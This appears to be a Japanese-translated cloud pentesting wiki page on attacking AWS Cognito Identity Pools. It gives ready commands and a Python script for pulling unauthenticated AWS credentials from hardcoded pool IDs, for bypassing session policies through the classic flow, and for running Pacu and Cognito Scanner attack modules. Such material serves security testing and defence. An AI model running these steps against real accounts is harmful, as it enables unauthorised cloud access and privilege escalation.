# Cognito Identity Pools

{{#include ../../../../banners/hacktricks-training.md}}

## 基本情報

Identity poolsは、ユーザーが**一時的な資格情報を取得**できるようにする重要な役割を果たします。これらの資格情報は、Amazon S3やDynamoDBを含むさまざまなAWSサービスにアクセスするために不可欠です。Identity poolsの注目すべき機能は、匿名のゲストユーザーとユーザー認証のためのさまざまなアイデンティティプロバイダーの両方をサポートしていることです。サポートされているアイデンティティプロバイダーには以下が含まれます：

- Amazon Cognitoユーザープール
- Facebook、Google、Login with Amazon、Sign in with Appleなどのソーシャルサインインオプション
- OpenID Connect (OIDC)に準拠したプロバイダー
- SAML (Security Assertion Markup Language)アイデンティティプロバイダー
- 開発者認証されたアイデンティティ
```python
# Sample code to demonstrate how to integrate an identity provider with an identity pool can be structured as follows:
import boto3

# Initialize the Amazon Cognito Identity client
client = boto3.client('cognito-identity')

# Assume you have already created an identity pool and obtained the IdentityPoolId
identity_pool_id = 'your-identity-pool-id'

# Add an identity provider to the identity pool
response = client.set_identity_pool_roles(
IdentityPoolId=identity_pool_id,
Roles={
'authenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/AuthenticatedRole',
'unauthenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/UnauthenticatedRole',
}
)

# Print the response from AWS
print(response)
```
### Cognito Sync

Identity Pool セッションを生成するには、まず **Identity ID を生成する** 必要があります。この Identity ID は **そのユーザーのセッションの識別** です。これらの識別は最大 20 のデータセットを持ち、最大 1MB のキーと値のペアを保存できます。

これは **ユーザーの情報を保持するのに便利です** （常に同じ Identity ID を使用するユーザー）。

さらに、サービス **cognito-sync** は **この情報を管理および同期する** サービスです（データセット内で、ストリームや SNS メッセージで情報を送信するなど）。

### Tools for pentesting

- [Pacu](https://github.com/RhinoSecurityLabs/pacu) は、AWS のエクスプロイトフレームワークで、現在 "cognito\_\_enum" および "cognito\_\_attack" モジュールが含まれており、アカウント内のすべての Cognito アセットの列挙を自動化し、弱い構成、アクセス制御に使用されるユーザー属性などをフラグ付けし、またユーザー作成（MFA サポートを含む）や、変更可能なカスタム属性、使用可能なアイデンティティプールの資格情報、ID トークン内の引き受け可能なロールに基づく特権昇格を自動化します。

モジュールの機能の説明については、[ブログ記事](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2) のパート 2 を参照してください。インストール手順については、メインの [Pacu](https://github.com/RhinoSecurityLabs/pacu) ページを参照してください。

#### Usage

サンプルの cognito\_\_attack 使用法は、特定のアイデンティティプールおよびユーザープールクライアントに対してユーザー作成とすべての特権昇格ベクターを試みるものです:
```bash
Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
```
サンプル cognito\_\_enum を使用して、現在の AWS アカウントで表示されるすべてのユーザープール、ユーザープールクライアント、アイデンティティプール、ユーザーなどを収集します：
```bash
Pacu (new:test) > run cognito__enum
```
- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) は、不要なアカウント作成やアイデンティティプールのエスカレーションを含む、Cognito に対するさまざまな攻撃を実装した Python の CLI ツールです。

#### インストール
```bash
$ pip install cognito-scanner
```
#### 使用方法
```bash
$ cognito-scanner --help
```
For more information check https://github.com/padok-team/cognito-scanner

## IAMロールへのアクセス

### 認証されていない

攻撃者がCognitoアプリで認証されていないユーザーとして**AWS資格情報**を取得するために知っておくべき唯一のことは**アイデンティティプールID**であり、この**IDはウェブ/モバイル**アプリケーションにハードコーディングされている必要があります。IDは次のようになります: `eu-west-1:098e5341-8364-038d-16de-1865e435da3b`（ブルートフォース攻撃はできません）。

> [!TIP]
> **IAM Cognitoの認証されていないロールは、デフォルトで** `Cognito_<Identity Pool name>Unauth_Role` **と呼ばれます**

ハードコーディングされたアイデンティティプールIDが見つかり、認証されていないユーザーを許可している場合、次の方法でAWS資格情報を取得できます:
```python
import requests

region = "us-east-1"
id_pool_id = 'eu-west-1:098e5341-8364-038d-16de-1865e435da3b'
url = f'https://cognito-identity.{region}.amazonaws.com/'
headers = {"X-Amz-Target": "AWSCognitoIdentityService.GetId", "Content-Type": "application/x-amz-json-1.1"}
params = {'IdentityPoolId': id_pool_id}

r = requests.post(url, json=params, headers=headers)
json_resp = r.json()

if not "IdentityId" in json_resp:
print(f"Not valid id: {id_pool_id}")
exit

IdentityId = r.json()["IdentityId"]

params = {'IdentityId': IdentityId}

headers["X-Amz-Target"] = "AWSCognitoIdentityService.GetCredentialsForIdentity"
r = requests.post(url, json=params, headers=headers)

print(r.json())
```
次の**aws cli コマンド**を使用することもできます:
```bash
aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign
aws cognito-identity get-credentials-for-identity --identity-id <identity_id> --no-sign
```
> [!WARNING]
> デフォルトでは、認証されていないcognito **ユーザーは、ポリシーを介して割り当てられていても、いかなる権限も持つことができません**。次のセクションを確認してください。

### 強化された認証フローと基本認証フロー

前のセクションでは、**デフォルトの強化された認証フロー**に従いました。このフローは、生成されたIAMロールセッションに**制限的な** [**セッションポリシー**](../../aws-basic-information/index.html#session-policies)を設定します。このポリシーは、セッションが[**このリストのサービスを使用することを許可する**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services)だけです（ロールが他のサービスにアクセスできた場合でも）。

ただし、これを回避する方法があります。**アイデンティティプールに「基本（クラシック）フロー」が有効になっている場合**、ユーザーはそのフローを使用してセッションを取得でき、**制限的なセッションポリシーを持たない**ことになります。
```bash
# Get auth ID
aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign

# Get login token
aws cognito-identity get-open-id-token --identity-id <identity_id> --no-sign

# Use login token to get IAM session creds
## If you don't know the role_arn use the previous enhanced flow to get it
aws sts assume-role-with-web-identity --role-arn "arn:aws:iam::<acc_id>:role/<role_name>" --role-session-name sessionname --web-identity-token <token> --no-sign
```
> [!WARNING]
> この**エラー**が表示される場合、**基本フローが有効になっていない（デフォルト）**ためです。

> `An error occurred (InvalidParameterException) when calling the GetOpenIdToken operation: Basic (classic) flow is not enabled, please use enhanced flow.`

IAM資格情報のセットを持っている場合は、[どのアクセス権があるかを確認し](../../index.html#whoami)、[権限を昇格させる](../../aws-privilege-escalation/index.html)ことを試みてください。

### 認証済み

> [!NOTE]
> **認証済みユーザー**には**異なる権限**が付与される可能性があるため、**アプリ内でサインアップ**できる場合は、それを試みて新しい資格情報を取得してください。

**認証済みユーザーがIdentity Poolにアクセスするための役割**も利用可能な場合があります。

これには**アイデンティティプロバイダー**へのアクセスが必要です。もしそれが**Cognitoユーザープール**であれば、デフォルトの動作を悪用して**自分で新しいユーザーを作成**できるかもしれません。

> [!TIP]
> **IAM Cognito認証済みロールはデフォルトで** `Cognito_<Identity Pool name>Auth_Role` と呼ばれます。

いずれにせよ、**以下の例**は、Identity Poolにアクセスするために使用される**Cognitoユーザープール**にすでにログインしていることを前提としています（他のタイプのアイデンティティプロバイダーも構成されている可能性があることを忘れないでください）。

<pre class="language-bash"><code class="lang-bash">
# 更新されたフォーマット
aws cognito-identity get-id \
--identity-pool-id <identity_pool_id> \
--logins '{"cognito-idp.<region>.amazonaws.com/<user_pool_id>": "<ID_TOKEN>"}'

aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins '{"cognito-idp.<region>.amazonaws.com/<user_pool_id>": "<ID_TOKEN>"}'

aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--custom-role-arn <role_arn> \
--logins '{"cognito-idp.<region>.amazonaws.com/<user_pool_id>": "<ID_TOKEN>"}'
</code></pre>

> **非推奨フォーマット** — これらは現在のAWS CLIでは動作しない可能性があります：
<pre class="language-bash"><code class="lang-bash">
aws cognito-identity get-id \
--identity-pool-id <identity_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<user_pool_id>=<ID_TOKEN>

aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<user_pool_id>=<ID_TOKEN>

aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--custom-role-arn <role_arn> \
--logins cognito-idp.<region>.amazonaws.com/<user_pool_id>=<ID_TOKEN>
</code></pre>

> [!WARNING]
> **アイデンティティプロバイダー**によってユーザーがログインしている場合や、単に**ユーザー**（クレームを使用）によって異なるIAMロールを**構成することが可能**です。したがって、同じまたは異なるプロバイダーを通じて異なるユーザーにアクセスできる場合は、**すべてのユーザーのIAMロールにログインしてアクセスする価値があるかもしれません**。

{{#include ../../../../banners/hacktricks-training.md}}
